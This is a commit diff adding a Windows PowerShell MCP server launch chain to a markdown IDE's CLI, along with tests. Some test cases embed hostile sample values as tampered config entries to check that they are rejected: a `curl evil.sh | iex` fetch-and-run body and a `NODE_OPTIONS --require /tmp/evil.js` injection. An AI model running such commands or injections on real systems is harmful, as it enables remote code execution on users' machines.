Beautiful, AI-native markdown IDE and LLM wiki
TypeScript 2nd-brainagent-skillsclaudecodexcompany-braindocsknowledge-knowledge-baseknowledge-managementllmllm-wikillm-wiki-karpathymarkdownmarkdown-editormdmdxnotespkmsecond-brainskills
fix(ok-cli): Windows-launchable MCP config, no cross-platform clobber (#2394)
mike-inkeepcab1ed8daab5
diff --git a/.changeset/windows-mcp-config-chain.md b/.changeset/windows-mcp-config-chain.mdnew file mode 100644index 000000000..45cf1ef94--- /dev/null+++ b/.changeset/windows-mcp-config-chain.md@@ -0,0 +1,5 @@+---+'@inkeep/open-knowledge': patch+---++Generate a Windows-launchable MCP server config instead of the macOS-only `/bin/sh` chain. On Windows, `ok init`, `ok start`, and MCP autostart now register `powershell -NoProfile -NonInteractive -Command <chain>` (resolving the npm-global `ok.cmd` shim first, then `npx`). The reclaim sweep now recognizes both platforms' canonical entries everywhere, so a config written on one OS is never clobbered back and forth by the other, and hand-fixes on Windows stop being overwritten with an unlaunchable entry.diff --git a/packages/cli/src/commands/editors.test.ts b/packages/cli/src/commands/editors.test.tsindex c2b5e2dd8..2493190dc 100644--- a/packages/cli/src/commands/editors.test.ts+++ b/packages/cli/src/commands/editors.test.ts@@ -3,6 +3,8 @@ import {buildManagedServerEntry,CHAIN_V1,CHAIN_VERSION_SENTINEL,+ CHAIN_WIN_V1,+ CHAIN_WIN_VERSION_SENTINEL,EDITOR_TARGETS,type EditorId,isEntryUpToDate,@@ -461,3 +463,252 @@ describe('resolveEditorTargets', () => {expect(targets[1].id).toBe('cursor');});});++const WIN_CANONICAL = {+ command: 'powershell',+ args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],+};++describe('CHAIN_WIN_V1', () => {+ it('starts with the version sentinel', () => {+ expect(CHAIN_WIN_V1.startsWith(CHAIN_WIN_VERSION_SENTINEL)).toBe(true);+ });++ it('normalizes PATHEXT before anything else (GUI hosts scrub it; fallback is .CPL)', () => {+ const guardIdx = CHAIN_WIN_V1.indexOf("if ($env:PATHEXT -notmatch 'CMD')");+ expect(guardIdx).toBeGreaterThanOrEqual(0);+ const firstBranchIdx = CHAIN_WIN_V1.indexOf('if ($env:APPDATA)');+ expect(guardIdx).toBeLessThan(firstBranchIdx);+ expect(CHAIN_WIN_V1).toContain("$env:PATHEXT = '.COM;.EXE;.BAT;.CMD;' + $env:PATHEXT");+ });++ it('probes the npm-global ok.cmd shim, then PATH ok.cmd, before any npx fallback', () => {+ const shimIdx = CHAIN_WIN_V1.indexOf("Join-Path $env:APPDATA 'npm\\ok.cmd'");+ const pathOkIdx = CHAIN_WIN_V1.indexOf('Get-Command ok.cmd');+ const npxIdx = CHAIN_WIN_V1.indexOf('Get-Command npx.cmd');+ expect(shimIdx).toBeGreaterThanOrEqual(0);+ expect(pathOkIdx).toBeGreaterThan(shimIdx);+ expect(npxIdx).toBeGreaterThan(pathOkIdx);+ });++ it('contains zero double-quote characters (spawn-time argument-quoting robustness)', () => {+ expect(CHAIN_WIN_V1.includes('"')).toBe(false);+ });++ it('single-quotes the npx package spec (a bare leading @ is the splat operator)', () => {+ const quoted = CHAIN_WIN_V1.match(/'@inkeep\/open-knowledge@latest'/g);+ expect(quoted?.length).toBe(2);+ expect(CHAIN_WIN_V1.match(/@inkeep\/open-knowledge@latest/g)?.length).toBe(2);+ });++ it('probes installer / nvm-windows / fnm / Volta / Scoop / pnpm locations, null-guarded', () => {+ for (const probe of [+ "Join-Path $env:ProgramFiles 'nodejs'",+ '$env:NVM_SYMLINK',+ "Join-Path $env:LOCALAPPDATA 'fnm\\aliases\\default'",+ "Join-Path $env:LOCALAPPDATA 'Volta\\bin'",+ "Join-Path $env:LOCALAPPDATA 'pnpm'",+ "Join-Path $env:USERPROFILE 'scoop\\shims'",+ ]) {+ expect(CHAIN_WIN_V1).toContain(probe);+ }+ for (const guard of [+ 'if ($env:APPDATA)',+ 'if ($env:ProgramFiles)',+ 'if ($env:NVM_SYMLINK)',+ 'if ($env:LOCALAPPDATA)',+ 'if ($env:USERPROFILE)',+ ]) {+ expect(CHAIN_WIN_V1).toContain(guard);+ }+ });++ it('probes .cmd shims only, never .ps1 (execution policy)', () => {+ expect(CHAIN_WIN_V1).not.toContain('.ps1');+ });++ it('propagates the child exit code after every runtime invocation (no exec on Windows)', () => {+ const propagated = CHAIN_WIN_V1.match(/; exit \$LASTEXITCODE \}/g);+ expect(propagated?.length).toBe(4);+ const invocations = CHAIN_WIN_V1.match(/& \$/g);+ expect(invocations?.length).toBe(4);+ });++ it('emits the documented stderr message and exit 127 on miss', () => {+ expect(CHAIN_WIN_V1).toContain('[Console]::Error.WriteLine(');+ expect(CHAIN_WIN_V1).toContain(+ 'OpenKnowledge: install Node.js 24+ (npm i -g @inkeep/open-knowledge), then restart your editor',+ );+ expect(CHAIN_WIN_V1.trimEnd().endsWith('exit 127')).toBe(true);+ });+});++describe('buildManagedServerEntry (win32)', () => {+ it('produces the Windows chain shape for platformName win32', () => {+ expect(buildManagedServerEntry({ mode: 'published', platformName: 'win32' })).toEqual(+ WIN_CANONICAL,+ );+ });++ it('produces the Unix chain shape for any non-win32 platformName', () => {+ for (const platformName of ['darwin', 'linux'] as const) {+ expect(buildManagedServerEntry({ mode: 'published', platformName })).toEqual({+ command: '/bin/sh',+ args: ['-l', '-c', CHAIN_V1],+ });+ }+ });++ it('every consecutive win32 call returns a freshly-constructed args array', () => {+ const a = buildManagedServerEntry({ mode: 'published', platformName: 'win32' });+ (a.args as unknown[]).push('extra');+ const b = buildManagedServerEntry({ mode: 'published', platformName: 'win32' });+ expect((b.args as unknown[]).length).toBe(4);+ });++ it('every editor target produces the byte-identical Windows entry', () => {+ const editors: EditorId[] = ['claude', 'claude-desktop', 'cursor', 'codex', 'openclaw'];+ for (const id of editors) {+ const target = resolveEditorTargets([id])[0];+ const built = target.buildEntry('', { mode: 'published', platformName: 'win32' });+ expect(built).toEqual(WIN_CANONICAL);+ }+ });++ it('opencode target produces the argv-array Windows envelope', () => {+ const target = resolveEditorTargets(['opencode'])[0];+ expect(target.buildEntry('', { mode: 'published', platformName: 'win32' })).toEqual({+ type: 'local',+ enabled: true,+ command: ['powershell', '-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],+ });+ });+});++describe('isEntryUpToDate (Windows shapes, recognized on every platform)', () => {+ it('true for the Windows chain entry', () => {+ expect(+ isEntryUpToDate(buildManagedServerEntry({ mode: 'published', platformName: 'win32' })),+ ).toBe(true);+ });++ it('true when the body drifts but keeps the Windows sentinel', () => {+ expect(+ isEntryUpToDate({+ command: 'powershell',+ args: [+ '-NoProfile',+ '-NonInteractive',+ '-Command',+ `${CHAIN_WIN_VERSION_SENTINEL}\n# drift tolerated\nexit 127`,+ ],+ }),+ ).toBe(true);+ });++ it('true for the OpenCode Windows entry shape (array command, no args key)', () => {+ expect(+ isEntryUpToDate({+ type: 'local',+ enabled: true,+ command: ['powershell', '-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],+ }),+ ).toBe(true);+ });++ it('false for the hand-fixed cmd workaround shape (gets migrated forward)', () => {+ expect(+ isEntryUpToDate({+ command: 'cmd',+ args: ['/c', 'C:\\Users\\me\\AppData\\Roaming\\npm\\ok.cmd', 'mcp'],+ }),+ ).toBe(false);+ });++ it('false for stale or malformed Windows-shaped entries', () => {+ for (const bad of [+ { command: 'powershell', args: ['-NonInteractive', '-NoProfile', '-Command', CHAIN_WIN_V1] }, // wrong flag order+ { command: 'powershell', args: ['-NoProfile', '-NonInteractive', '-Command'] }, // missing body+ { command: 'powershell', args: ['-NoProfile', '-NonInteractive', '-Command', 'echo hi'] }, // wrong body+ { command: 'pwsh', args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1] }, // wrong shell+ { command: 'powershell', args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_V1] },+ { command: '/bin/sh', args: ['-l', '-c', CHAIN_WIN_V1] },+ { type: 'local', command: ['powershell', '-NoProfile', '-Command', CHAIN_WIN_V1] }, // missing flag+ { type: 'local', command: ['powershell', '-NoProfile', '-NonInteractive', '-Command'] },+ ]) {+ expect(isEntryUpToDate(bad)).toBe(false);+ }+ });+});++describe('isOwnManagedEntry (Windows canonical in the closed set)', () => {+ it('true for the exact Windows canonical entry, on any host platform', () => {+ expect(+ isOwnManagedEntry(buildManagedServerEntry({ mode: 'published', platformName: 'win32' })),+ ).toBe(true);+ });++ it('false when any env is injected on the Windows canonical', () => {+ for (const env of [{ HOST: '0.0.0.0' }, { NODE_OPTIONS: '--require /tmp/evil.js' }, {}]) {+ expect(+ isOwnManagedEntry({+ command: 'powershell',+ args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],+ env,+ }),+ ).toBe(false);+ }+ });++ it('false where isEntryUpToDate is permissive — win sentinel present but body extended', () => {+ const sentinelPlusPayload = {+ command: 'powershell',+ args: [+ '-NoProfile',+ '-NonInteractive',+ '-Command',+ `${CHAIN_WIN_VERSION_SENTINEL}\ncurl evil.sh | iex\nexit 127`,+ ],+ };+ expect(isEntryUpToDate(sentinelPlusPayload)).toBe(true); // permissive: accepted+ expect(isOwnManagedEntry(sentinelPlusPayload)).toBe(false); // strict: refused+ });++ it('false for the OpenCode array-command shapes (outside the pre-approved set by design)', () => {+ expect(+ isOwnManagedEntry({+ type: 'local',+ enabled: true,+ command: ['/bin/sh', '-l', '-c', CHAIN_V1],+ }),+ ).toBe(false);+ expect(+ isOwnManagedEntry({+ type: 'local',+ enabled: true,+ command: ['powershell', '-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],+ environment: { HOST: '127.0.0.1' },+ }),+ ).toBe(false);+ });++ it('unchanged: an injected env on the UNIX canonical still fails', () => {+ expect(+ isOwnManagedEntry({+ command: '/bin/sh',+ args: ['-l', '-c', CHAIN_V1],+ env: { HOST: '127.0.0.1' },+ }),+ ).toBe(false);+ });+});++describe('JSON encoding round-trip (Windows entry)', () => {+ it('win chain entry survives JSON.stringify/parse losslessly', () => {+ const entry = buildManagedServerEntry({ mode: 'published', platformName: 'win32' });+ const roundTripped = JSON.parse(JSON.stringify(entry)) as Record<string, unknown>;+ expect(roundTripped).toEqual(entry);+ expect((roundTripped.args as string[])[3]).toBe(CHAIN_WIN_V1);+ expect(isOwnManagedEntry(roundTripped)).toBe(true);+ });+});diff --git a/packages/cli/src/commands/editors.ts b/packages/cli/src/commands/editors.tsindex 989db628a..157d0838b 100644--- a/packages/cli/src/commands/editors.ts+++ b/packages/cli/src/commands/editors.ts@@ -35,10 +35,39 @@ doneecho "OpenKnowledge: install OK Desktop or Node.js 24+, then restart your editor" >&2exit 127`;+export const CHAIN_WIN_VERSION_SENTINEL = '# ok-mcp-win-v1';++export const CHAIN_WIN_V1 = `# ok-mcp-win-v1+if ($env:PATHEXT -notmatch 'CMD') { $env:PATHEXT = '.COM;.EXE;.BAT;.CMD;' + $env:PATHEXT }+if ($env:APPDATA) {+ $shim = Join-Path $env:APPDATA 'npm\\ok.cmd'+ if (Test-Path -LiteralPath $shim -PathType Leaf) { & $shim mcp; exit $LASTEXITCODE }+}+$ok = Get-Command ok.cmd -CommandType Application -ErrorAction SilentlyContinue+if ($ok) { & $ok.Source mcp; exit $LASTEXITCODE }+$npx = Get-Command npx.cmd -CommandType Application -ErrorAction SilentlyContinue+if ($npx) { & $npx.Source -y '@inkeep/open-knowledge@latest' mcp; exit $LASTEXITCODE }+$dirs = @()+if ($env:ProgramFiles) { $dirs += Join-Path $env:ProgramFiles 'nodejs' }+if ($env:NVM_SYMLINK) { $dirs += $env:NVM_SYMLINK }+if ($env:LOCALAPPDATA) {+ $dirs += Join-Path $env:LOCALAPPDATA 'fnm\\aliases\\default'+ $dirs += Join-Path $env:LOCALAPPDATA 'Volta\\bin'+ $dirs += Join-Path $env:LOCALAPPDATA 'pnpm'+}+if ($env:USERPROFILE) { $dirs += Join-Path $env:USERPROFILE 'scoop\\shims' }+foreach ($d in $dirs) {+ $probe = Join-Path $d 'npx.cmd'+ if (Test-Path -LiteralPath $probe -PathType Leaf) { & $probe -y '@inkeep/open-knowledge@latest' mcp; exit $LASTEXITCODE }+}+[Console]::Error.WriteLine('OpenKnowledge: install Node.js 24+ (npm i -g @inkeep/open-knowledge), then restart your editor')+exit 127`;+type McpInstallMode = 'published' | 'dev';export interface McpInstallOptions {mode?: McpInstallMode;+ platformName?: NodeJS.Platform;skipAvailabilityCheck?: boolean;}@@ -53,10 +82,33 @@ export function isEntryUpToDate(entry: unknown): boolean {return typeof body === 'string' && body.includes(CHAIN_VERSION_SENTINEL);}+ if (e.command === 'powershell') {+ if (!Array.isArray(e.args)) return false;+ if (e.args[0] !== '-NoProfile' || e.args[1] !== '-NonInteractive' || e.args[2] !== '-Command') {+ return false;+ }+ const body = e.args[3];+ return typeof body === 'string' && body.includes(CHAIN_WIN_VERSION_SENTINEL);+ }+if (e.type === 'local' && Array.isArray(e.command)) {- if (e.command[0] !== '/bin/sh' || e.command[1] !== '-l' || e.command[2] !== '-c') return false;- const body = e.command[3];- return typeof body === 'string' && body.includes(CHAIN_VERSION_SENTINEL);+ if (e.command[0] === '/bin/sh') {+ if (e.command[1] !== '-l' || e.command[2] !== '-c') return false;+ const body = e.command[3];+ return typeof body === 'string' && body.includes(CHAIN_VERSION_SENTINEL);+ }+ if (e.command[0] === 'powershell') {+ if (+ e.command[1] !== '-NoProfile' ||+ e.command[2] !== '-NonInteractive' ||+ e.command[3] !== '-Command'+ ) {+ return false;+ }+ const body = e.command[4];+ return typeof body === 'string' && body.includes(CHAIN_WIN_VERSION_SENTINEL);+ }+ return false;}return false;@@ -96,6 +148,13 @@ export function buildManagedServerEntry(options: McpInstallOptions = {}): Record};}+ const platformName = options.platformName ?? process.platform;+ if (platformName === 'win32') {+ return {+ command: 'powershell',+ args: ['-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],+ };+ }return {command: '/bin/sh',args: ['-l', '-c', CHAIN_V1],@@ -112,6 +171,14 @@ function buildOpenCodeEntry(options: McpInstallOptions = {}): Record<string, unk};}+ const platformName = options.platformName ?? process.platform;+ if (platformName === 'win32') {+ return {+ type: 'local',+ enabled: true,+ command: ['powershell', '-NoProfile', '-NonInteractive', '-Command', CHAIN_WIN_V1],+ };+ }return {type: 'local',enabled: true,@@ -122,10 +189,25 @@ function buildOpenCodeEntry(options: McpInstallOptions = {}): Record<string, unkexport function isOwnManagedEntry(entry: unknown): boolean {if (typeof entry !== 'object' || entry === null) return false;const e = entry as Record<string, unknown>;- if (Object.keys(e).length !== 2) return false;- const canonical = buildManagedServerEntry({ mode: 'published' });- const canonicalArgs = canonical.args;+ return (+ matchesCanonicalExactly(+ e,+ buildManagedServerEntry({ mode: 'published', platformName: 'darwin' }),+ ) ||+ matchesCanonicalExactly(+ e,+ buildManagedServerEntry({ mode: 'published', platformName: 'win32' }),+ )+ );+}++function matchesCanonicalExactly(+ e: Record<string, unknown>,+ canonical: Record<string, unknown>,+): boolean {+ if (Object.keys(e).length !== Object.keys(canonical).length) return false;if (e.command !== canonical.command) return false;+ const canonicalArgs = canonical.args;if (!Array.isArray(canonicalArgs) || !Array.isArray(e.args)) return false;if (e.args.length !== canonicalArgs.length) return false;return e.args.every((v, i) => v === canonicalArgs[i]);diff --git a/packages/cli/src/commands/repair-mcp-configs.test.ts b/packages/cli/src/commands/repair-mcp-configs.test.tsindex ae301cbe8..1814f88a0 100644--- a/packages/cli/src/commands/repair-mcp-configs.test.ts+++ b/packages/cli/src/commands/repair-mcp-configs.test.ts@@ -6,6 +6,11 @@ import { buildManagedServerEntry, resolveClaudeCodeConfigPath } from './editors.import { type RepairLogEvent, repairMcpConfigs } from './repair-mcp-configs.ts';const CHAIN_ENTRY = buildManagedServerEntry({ mode: 'published' });+const WIN_CHAIN_ENTRY = buildManagedServerEntry({ mode: 'published', platformName: 'win32' });+const CMD_WORKAROUND = {+ command: 'cmd',+ args: ['/c', 'C:\\Users\\me\\AppData\\Roaming\\npm\\ok.cmd', 'mcp'],+};const LEGACY_BARE = { command: 'npx', args: ['@inkeep/open-knowledge', 'mcp'] };const LEGACY_NPX_AT_LATEST = {command: 'npx',@@ -90,6 +95,27 @@ describe('repairMcpConfigs', () => {expect(after2).toBe(after1);});+ it('leaves the Windows canonical untouched on a non-Windows host (cross-platform no-clobber)', () => {+ const configPath = writeClaude(WIN_CHAIN_ENTRY);+ const before = readFileSync(configPath, 'utf-8');++ const result = repairMcpConfigs({ projectDir, home: fakeHome });++ expect(result.repairedCount).toBe(0);+ expect(result.outcomes.find((o) => o.editorId === 'claude')?.outcome).toBe('canonical');+ expect(readFileSync(configPath, 'utf-8')).toBe(before);+ });++ it('rewrites the hand-fixed cmd workaround shape forward to the local canonical', () => {+ const configPath = writeClaude(CMD_WORKAROUND);++ const result = repairMcpConfigs({ projectDir, home: fakeHome });++ expect(result.repairedCount).toBe(1);+ const written = JSON.parse(readFileSync(configPath, 'utf-8'));+ expect(written.mcpServers['open-knowledge']).toEqual(CHAIN_ENTRY);+ });+it('leaves configs without an open-knowledge entry untouched', () => {const configPath = resolveClaudeCodeConfigPath({ home: fakeHome });writeFileSync(configPath, JSON.stringify({ mcpServers: { other: { command: 'x' } } }));diff --git a/packages/cli/src/commands/repair-skills.test.ts b/packages/cli/src/commands/repair-skills.test.tsindex f27cafaa8..bb62af747 100644--- a/packages/cli/src/commands/repair-skills.test.ts+++ b/packages/cli/src/commands/repair-skills.test.ts@@ -221,6 +221,14 @@ describe('repairSkills — project sweep create-if-wired gate', () => {},});const UNWIRED_MCP_JSON = JSON.stringify({ mcpServers: { other: { command: 'node' } } });+ const OK_WIRED_MCP_JSON_WIN = JSON.stringify({+ mcpServers: {+ 'open-knowledge': {+ command: 'powershell',+ args: ['-NoProfile', '-NonInteractive', '-Command', '# ok-mcp-win-v1\nexit 127'],+ },+ },+ });beforeEach(() => {scratch = mkScratch('create-wired');@@ -272,6 +280,31 @@ describe('repairSkills — project sweep create-if-wired gate', () => {).toBe(true);});+ it('creates a project SKILL.md for a host wired with the Windows chain sentinel', async () => {+ writeFileSync(join(scratch.project, '.mcp.json'), OK_WIRED_MCP_JSON_WIN);++ const written: Array<{ home: string; version: string }> = [];+ const result = await repairSkills({+ projectDir: scratch.project,+ home: scratch.home,+ logger: (event) => logEvents.push(event),+ deps: depsBuilder({+ projectBundleDir,+ discoveryBundleDir,+ bundledVersion: '9.9.9',+ recordedVersion: '9.9.9',+ writtenVersions: written,+ }),+ });++ if (result.status !== 'done' || result.project.outcome !== 'done')+ throw new Error('unreachable');+ expect(result.project.entries.find((e) => e.editorId === 'claude')?.outcome).toBe('created');+ expect(+ existsSync(join(scratch.project, '.claude', 'skills', PROJECT_SKILL_DIR_NAME, 'SKILL.md')),+ ).toBe(true);+ });+it('creates a project SKILL.md for cursor wired via .cursor/mcp.json', async () => {mkdirSync(join(scratch.project, '.cursor'), { recursive: true });writeFileSync(join(scratch.project, '.cursor', 'mcp.json'), OK_WIRED_MCP_JSON);diff --git a/packages/cli/src/commands/repair-skills.ts b/packages/cli/src/commands/repair-skills.tsindex 6a703c78b..c172d197a 100644--- a/packages/cli/src/commands/repair-skills.ts+++ b/packages/cli/src/commands/repair-skills.ts@@ -24,6 +24,7 @@ import { Command } from 'commander';import { assertProjectPathSafe } from '../integrations/write-project-skill.ts';import {CHAIN_VERSION_SENTINEL,+ CHAIN_WIN_VERSION_SENTINEL,EDITOR_TARGETS,type EditorId,HOSTS_WITH_USER_SKILL_DIR,@@ -280,7 +281,8 @@ function editorWiredForOk(configPath: string | undefined, fs: RepairSkillsFsOps)if (!configPath) return false;try {if (!fs.existsSync(configPath)) return false;- return fs.readFileSync(configPath).toString('utf8').includes(CHAIN_VERSION_SENTINEL);+ const bytes = fs.readFileSync(configPath).toString('utf8');+ return bytes.includes(CHAIN_VERSION_SENTINEL) || bytes.includes(CHAIN_WIN_VERSION_SENTINEL);} catch {return false;}diff --git a/packages/desktop/src/main/skill-reclaim.test.ts b/packages/desktop/src/main/skill-reclaim.test.tsindex 6c892a7e9..01414609f 100644--- a/packages/desktop/src/main/skill-reclaim.test.ts+++ b/packages/desktop/src/main/skill-reclaim.test.ts@@ -22,6 +22,16 @@ const OK_WIRED_MCP_JSON = JSON.stringify({},});const UNWIRED_MCP_JSON = JSON.stringify({ mcpServers: { other: { command: 'node' } } });+/** A `.mcp.json` carrying the WINDOWS chain sentinel — written by a Windows+ * teammate into a shared repo; must still count as wired here. */+const OK_WIRED_MCP_JSON_WIN = JSON.stringify({+ mcpServers: {+ 'open-knowledge': {+ command: 'powershell',+ args: ['-NoProfile', '-NonInteractive', '-Command', '# ok-mcp-win-v1\nexit 127'],+ },+ },+});const cleanupPaths: string[] = [];@@ -564,6 +574,27 @@ describe('reclaimProjectSkillsOnProjectOpen — createIfWired (managed heal path).toBe(true);});+ test('creates SKILL.md for a host wired with the Windows chain sentinel', async () => {+ const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));+ cleanupPaths.push(projectDir);+ writeFileSync(join(projectDir, '.mcp.json'), OK_WIRED_MCP_JSON_WIN);+ const r = await reclaimProjectSkillsOnProjectOpen({+ projectDir,+ executablePath: EXE,+ isPackaged: true,+ platform: 'darwin',+ createIfWired: true,+ deps: { resolveBundledSkillDir: () => setupBundle() },+ });+ expect(r.status).toBe('done');+ if (r.status === 'done') {+ expect(r.entries.find((e) => e.editorId === 'claude')?.status).toBe('created');+ }+ expect(existsSync(join(projectDir, '.claude', 'skills', 'open-knowledge', 'SKILL.md'))).toBe(+ true,+ );+ });+test('creates SKILL.md for cursor host wired via .cursor/mcp.json', async () => {const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));cleanupPaths.push(projectDir);diff --git a/packages/desktop/src/main/skill-reclaim.ts b/packages/desktop/src/main/skill-reclaim.tsindex 43e6acec6..5563b6fd8 100644--- a/packages/desktop/src/main/skill-reclaim.ts+++ b/packages/desktop/src/main/skill-reclaim.ts@@ -26,6 +26,8 @@ const DEFAULT_LOGGER: SkillReclaimLogger = {const OK_MCP_MARKER = '# ok-mcp-v1';+const OK_MCP_WIN_MARKER = '# ok-mcp-win-v1';+const PROJECT_SKILL_DIR_NAME = 'open-knowledge';const LEGACY_SKILL_DIR_NAME = 'open-knowledge';@@ -381,7 +383,8 @@ function editorWiredForOk(configPath: string | undefined, fs: SkillFsOps): booleif (!configPath) return false;try {if (!fs.existsSync(configPath)) return false;- return fs.readFileSync(configPath).toString('utf8').includes(OK_MCP_MARKER);+ const bytes = fs.readFileSync(configPath).toString('utf8');+ return bytes.includes(OK_MCP_MARKER) || bytes.includes(OK_MCP_WIN_MARKER);} catch {return false;}